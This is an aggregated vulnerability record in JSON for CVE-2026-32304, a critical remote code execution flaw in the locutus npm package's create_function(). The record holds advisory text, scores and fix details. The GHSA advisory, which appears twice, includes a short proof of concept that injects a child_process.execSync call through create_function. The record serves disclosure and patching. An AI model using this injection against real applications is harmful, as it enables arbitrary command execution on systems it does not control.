{"id":"CVE-2026-32304","aliases":["EUVD-2026-11718","GHSA-vh9h-29pq-r5m8"],"status":"published","title":"Locutus: RCE via unsanitized input in create_function()","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00647,"percentile":0.51473,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-88","CWE-94"],"published":"2026-03-12T21:24:51Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"npm","package":"locutus","fixed_in":["3.0.14"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.13"},{"fixed":"3.0.14"}]}]},{"source":"osv","ecosystem":"npm","package":"locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.14"}]}]}],"products":[{"vendor":"locutus","product":"locutus"},{"vendor":"locutusjs","product":"locutus"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"}],"references":[{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-vh9h-29pq-r5m8","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/locutusjs/locutus/releases/tag/v3.0.14","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32304","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2447200","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32304.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32304","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vh9h-29pq-r5m8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32304.json","tags":["advisory"]},{"url":"https://github.com/locutusjs/locutus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32304","title":"Locutus: RCE via unsanitized input in create_function()","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.","status":"published","published":"2026-03-12T21:24:51.73Z","modified":"2026-07-15T01:08:07.107Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-94","CWE-88"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-11718","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.","status":"published","published":"2026-03-12T21:24:51Z","modified":"2026-07-15T01:08:07Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-vh9h-29pq-r5m8","title":"Locutus vulnerable to RCE via unsanitized input in create_function()","description":"## Summary\n\nThe `create_function(args, code)` function passes both parameters directly to the `Function` constructor without any sanitization, allowing arbitrary code execution.\n\nThis is distinct from CVE-2026-29091 (GHSA-fp25-p6mj-qqg6) which was `call_user_func_array` using `eval()` in v2.x. This finding affects `create_function` using `new Function()` in v3.x.\n\n## Root Cause\n\n`src/php/funchand/create_function.ts:17`:\n```typescript\nreturn new Function(...params, code)\n```\n\nZero input validation on either parameter.\n\n## PoC\n\n```javascript\nconst { create_function } = require('locutus/php/funchand/create_function');\nconst rce = create_function('', 'return require(\"child_process\").execSync(\"id\").toString()');\nconsole.log(rce());\n// Output: uid=501(user) gid=20(staff) ...\n```\n\nConfirmed on locutus v3.0.11, Node.js v24.13.1.\n\n## Impact\n\nFull RCE when an attacker can control either argument to `create_function()`. 597K weekly npm downloads.\n\n## Suggested Fix\n\nRemove `create_function` or replace `new Function()` with a safe alternative. PHP itself deprecated `create_function()` in PHP 7.2 for the same reason.\n\n## Response\n\nThanks for the report.\n\nWe confirmed that `php/funchand/create_function` was still present through `locutus@3.0.13` and that it exposed dynamic code execution via `new Function(...)`.\n\nWhile this was intended behavior, `create_function()` inherently needs to be unsafe in order for it to work, `create_function()` was deprecated in PHP 7.2 and removed in PHP 8.0. Given that Locutus' parity target today is 8.3, this function shouldn't have been in Locutus at all anymore.\n\nWe fixed this in `locutus@3.0.14` by removing `php/funchand/create_function` entirely. That matches our PHP 8.3 parity target more closely: . \n\nWe also updated `php/var/var_export` so closures now export using the PHP 8-style `\\Closure::__set_state(array(...))` form instead of referencing the removed API.\n\nRelease:\n- npm: `locutus@3.0.14`\n- GitHub release: https://github.com/locutusjs/locutus/releases/tag/v3.0.14\n\nCredit to @ByamB4 for the report.","status":"published","published":"2026-03-13T16:10:29Z","modified":"2026-03-16T17:06:44Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:36.642723Z"}],"nvd":[{"id":"CVE-2026-32304","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.","status":"published","published":"2026-03-13T19:54:41.83Z","modified":"2026-07-15T02:19:58.393Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94","CWE-88"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-32304","title":"Locutus: RCE via unsanitized input in create_function()","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.","status":"published","published":"2026-03-12T21:24:51.73Z","modified":"2026-10-28T02:30:46.240026347Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"GHSA-vh9h-29pq-r5m8","title":"Locutus vulnerable to RCE via unsanitized input in create_function()","description":"## Summary\n\nThe `create_function(args, code)` function passes both parameters directly to the `Function` constructor without any sanitization, allowing arbitrary code execution.\n\nThis is distinct from CVE-2026-29091 (GHSA-fp25-p6mj-qqg6) which was `call_user_func_array` using `eval()` in v2.x. This finding affects `create_function` using `new Function()` in v3.x.\n\n## Root Cause\n\n`src/php/funchand/create_function.ts:17`:\n```typescript\nreturn new Function(...params, code)\n```\n\nZero input validation on either parameter.\n\n## PoC\n\n```javascript\nconst { create_function } = require('locutus/php/funchand/create_function');\nconst rce = create_function('', 'return require(\"child_process\").execSync(\"id\").toString()');\nconsole.log(rce());\n// Output: uid=501(user) gid=20(staff) ...\n```\n\nConfirmed on locutus v3.0.11, Node.js v24.13.1.\n\n## Impact\n\nFull RCE when an attacker can control either argument to `create_function()`. 597K weekly npm downloads.\n\n## Suggested Fix\n\nRemove `create_function` or replace `new Function()` with a safe alternative. PHP itself deprecated `create_function()` in PHP 7.2 for the same reason.\n\n## Response\n\nThanks for the report.\n\nWe confirmed that `php/funchand/create_function` was still present through `locutus@3.0.13` and that it exposed dynamic code execution via `new Function(...)`.\n\nWhile this was intended behavior, `create_function()` inherently needs to be unsafe in order for it to work, `create_function()` was deprecated in PHP 7.2 and removed in PHP 8.0. Given that Locutus' parity target today is 8.3, this function shouldn't have been in Locutus at all anymore.\n\nWe fixed this in `locutus@3.0.14` by removing `php/funchand/create_function` entirely. That matches our PHP 8.3 parity target more closely: . \n\nWe also updated `php/var/var_export` so closures now export using the PHP 8-style `\\Closure::__set_state(array(...))` form instead of referencing the removed API.\n\nRelease:\n- npm: `locutus@3.0.14`\n- GitHub release: https://github.com/locutusjs/locutus/releases/tag/v3.0.14\n\nCredit to @ByamB4 for the report.","status":"published","published":"2026-03-13T16:10:29Z","modified":"2026-03-16T17:16:36.965889Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:57.348035Z"}]}}